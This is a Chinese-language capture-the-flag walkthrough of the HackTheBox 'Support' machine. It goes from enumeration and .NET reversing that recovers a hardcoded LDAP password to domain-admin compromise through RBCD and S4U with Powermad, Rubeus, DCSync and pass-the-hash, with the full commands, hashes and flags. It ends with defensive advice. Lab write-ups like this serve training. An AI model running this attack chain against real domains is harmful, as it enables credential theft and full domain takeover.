[Meachines] [Easy] Support AD域+.NET逆向+LDAP信息泄露+RBCD&S4U 权限提升
字数 1614 2025-08-22 12:23:36
AD域渗透实战:从信息收集到RBCD&S4U权限提升
1. 信息收集阶段
1.1 初始扫描
使用Nmap和Masscan进行端口扫描:
ip='10.10.11.174'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
nmap -Pn -sV -sC -p "$ports" "$ip"
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
fi
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi
扫描结果:
- 53/tcp: DNS服务
- 88/tcp: Kerberos认证
- 135/tcp: MSRPC
- 139/tcp: NetBIOS
- 389/tcp: LDAP
- 445/tcp: SMB
- 464/tcp: Kerberos密码更改
- 593/tcp: RPC over HTTP
- 636/tcp: LDAPS
- 3268/tcp: 全局目录LDAP
- 3269/tcp: 全局目录LDAPS
- 5985/tcp: WinRM
- 9389/tcp: AD Web服务
1.2 LDAP信息收集
获取域的基本信息:
ldapsearch -H ldap://10.10.11.174 -x -s base namingcontexts
结果:
namingcontexts: DC=support,DC=htb
namingcontexts: CN=Configuration,DC=support,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=support,DC=htb
namingcontexts: DC=DomainDnsZones,DC=support,DC=htb
namingcontexts: DC=ForestDnsZones,DC=support,DC=htb
1.3 MSRPC枚举
使用rpcdump.py枚举RPC端点:
rpcdump.py 10.10.11.174
关键发现:
- Netlogon Remote Protocol (MS-NRPC)
- Security Account Manager (SAM) Remote Protocol (MS-SAMR)
- Directory Replication Service (DRS) Remote Protocol (MS-DRSR)
1.4 SMB枚举
枚举SMB共享:
echo '10.10.11.174 support.htb'>>/etc/hosts
smbclient -L //10.10.11.174
发现共享目录:
smbclient //10.10.11.174/support-tools
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
下载并解压UserInfo.exe.zip文件。
2. .NET逆向分析
2.1 使用ILSpy反编译
下载并运行ILSpy:
wget https://github.com/icsharpcode/AvaloniaILSpy/releases/download/v7.2rc/Linux.x64.Release.zip
unzip Linux.x64.Release.zip
cd artifacts/linux-arm64
sudo ./ILSpy
分析UserInfo.exe发现硬编码的LDAP凭据:
Username: ldap
LDAP: support.htb
Password: 0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E
2.2 密码解密
使用JavaScript解密密码:
function getPassword() {
const encPassword = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
const key = "armando";
const array = Uint8Array.from(atob(encPassword), c => c.charCodeAt(0));
const decodedArray = array.map((byte, i) => {
return (byte ^ key.charCodeAt(i % key.length)) ^ 0xDF;
});
return new TextDecoder().decode(decodedArray);
}
console.log("[+] Password:"+getPassword());
解密结果:
[+] Password: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
2.3 验证LDAP密码
使用Hydra验证密码:
hydra -l ldap@support.htb -P pass.txt ldap3://10.10.11.174
3. 初始访问
3.1 使用evil-winrm连接
使用获取的凭据通过WinRM连接:
evil-winrm -u support -p 'Ironside47pleasure40Watchful' -i 10.10.11.174
获取user.txt:
da8dcfcece840413f18204b2cf4f7442
4. 权限提升:RBCD & S4U
4.1 RBCD攻击原理
基于资源的受限委派(RBCD)攻击利用域控制器(DC)和计算机账户的信任关系:
- 攻击者添加伪造计算机账户
- 配置该计算机账户代表域控制器执行操作
- 请求Kerberos票据并模拟高权限用户
- 利用Pass-the-Ticket(PtT)技术进行身份验证
4.2 前置条件检查
- 检查当前用户组:
whoami /groups
确认属于Authenticated Users组(SID以S-1-5-11开头)
- 检查ms-ds-machineaccountquota属性:
Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota
- 检查对域控制器的写权限:
$TargetComputer = "CN=dc,OU=Domain Controllers,DC=support,DC=htb"
Get-ObjectAcl -Identity $TargetComputer | Where-Object { $_.ActiveDirectoryRights -match 'GenericAll' -or $_.ActiveDirectoryRights -match 'WriteDACL' }
4.3 实施RBCD攻击
- 添加新的计算机账户:
. .\Powermad.ps1
New-MachineAccount -MachineAccount "TEMP-COMP01" -Password $(ConvertTo-SecureString 'Whoami123' -AsPlainText -Force)
- 配置委派:
Set-ADComputer -Identity "DC" -PrincipalsAllowedToDelegateToAccount "TEMP-COMP01$"
- 验证配置:
Get-ADComputer -Identity DC -Properties PrincipalsAllowedToDelegateToAccount
Get-DomainComputer DC | select msds-allowedtoactonbehalfofotheridentity
4.4 S4U扩展攻击
- 计算计算机账户的NTLM哈希:
.\Rubeus.exe hash /password:Whoami123 /user:TEMP-COMP01$ /domain:support.htb
得到RC4_HMAC: FB60E55F5403AA13B2BCB820A39DA676
- 执行S4U扩展:
.\Rubeus.exe s4u /user:TEMP-COMP01$ /rc4:FB60E55F5403AA13B2BCB820A39DA676 /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /ptt
- 转换票据格式:
base64 -d /tmp/admin.b64 >/tmp/ticket.kirbi
python ticketConverter.py /tmp/ticket.kirbi /tmp/ticket.ccache
- 使用票据进行DCSync:
export KRB5CCNAME=/tmp/ticket.ccache
secretsdump.py -no -k dc.support.htb -just-dc-user Administrator
获取管理员NTLM哈希:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26:::
4.5 获取最终权限
使用管理员哈希通过WinRM连接:
evil-winrm -i 10.10.11.174 -u administrator -H bb06cbc02b39abeddd1335bc30b19e26
获取root.txt:
f72ea159b27288e13699effdc6f7b4bb
5. 关键工具总结
-
信息收集:
- Nmap/Masscan: 端口扫描
- ldapsearch: LDAP枚举
- rpcdump.py: RPC端点枚举
-
逆向分析:
- ILSpy: .NET反编译
- 自定义JavaScript: 密码解密
-
横向移动:
- evil-winrm: WinRM连接
- PowerView.ps1: AD信息收集
-
权限提升:
- Powermad.ps1: 创建计算机账户
- Rubeus.exe: Kerberos票据操作
- secretsdump.py: DCSync攻击
6. 防御建议
- 限制ms-ds-machineaccountquota属性值
- 监控计算机账户的创建和修改
- 限制对域控制器的GenericAll/WriteDACL权限
- 启用Kerberos Armoring和SACL审计
- 定期检查msDS-AllowedToActOnBehalfOfOtherIdentity属性